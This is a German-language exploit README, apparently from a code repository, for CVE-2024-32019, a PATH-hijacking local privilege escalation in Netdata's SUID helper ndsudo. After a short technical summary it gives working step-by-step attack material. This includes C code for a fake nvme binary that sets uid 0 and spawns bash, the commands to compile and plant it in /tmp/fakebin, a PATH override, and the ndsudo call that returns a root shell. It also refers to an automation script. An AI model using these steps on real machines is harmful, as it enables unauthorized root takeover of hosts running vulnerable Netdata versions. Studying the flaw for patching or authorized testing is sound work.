🚨 CVE-2024-32019 - Netdata `ndsudo` PATH-Schwachstellen-Exploit (LPE zu Root)

Ein Python-basierter Exploit für CVE-2024-32019, eine Local Privilege Escalation-Schwachstelle mit hohem Schweregrad im Netdata Agent, die eine falsch konfigurierte SUID-Binärdatei (ndsudo) ausnutzt, die die Umgebungsvariable PATH nicht sicher behandelt.

[!Caution] Dieser Code dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Die unbefugte Nutzung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.

🔍 Übersicht

CVE ID: CVE-2024-32019
CVSS-Score: 8.8 (Hoch)
Veröffentlicht: 12. April 2024
Komponente: Netdata Agent
Betroffene Versionen:

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🧠 Technische Zusammenfassung

Das ndsudo-Tool von Netdata ist eine SUID-Root-Binärdatei, die dazu bestimmt ist, eine begrenzte Reihe von Systembefehlen (wie nvme) im Auftrag von Nicht-Root-Benutzern sicher auszuführen.

Aufgrund eines Implementierungsfehlers respektiert es jedoch die vom Benutzer kontrollierte PATH-Variable beim Auflösen von Befehlsbinärdateien. Wenn ein Angreifer den PATH manipulieren kann, um ein beschreibbares Verzeichnis mit einer schädlichen Binärdatei einzuschließen, führt ndsudo diese mit Root-Rechten aus – was zu einer lokalen Privilegieneskalation führt.

💥 Manuelle Exploit-Schritte

Die folgenden Schritte zeigen, wie die Schwachstelle in ndsudo manuell ausgenutzt werden kann.

1. Erstellen einer Privilegieneskalations-Binärdatei

Speichern Sie den folgenden C-Code als nvme.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

2. Kompilieren des Exploits

gcc nvme.c -o nvme

3. Vorbereiten der Exploit-Umgebung auf dem Ziel

mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

4. Ändern des `PATH`

export PATH=/tmp/fakebin:$PATH
which nvme
# Output: /tmp/fakebin/nvme

5. Auslösen des Exploits

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Bei Erfolg erhalten Sie eine Root-Shell.

# whoami
root

Automatische Exploitation

Wenn Sie SSH-Zugriff haben, können Sie CVE-2024-32019-dbs.py verwenden, um dies zu automatisieren.

Exploitation mit Skript

Beliebteste

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

Über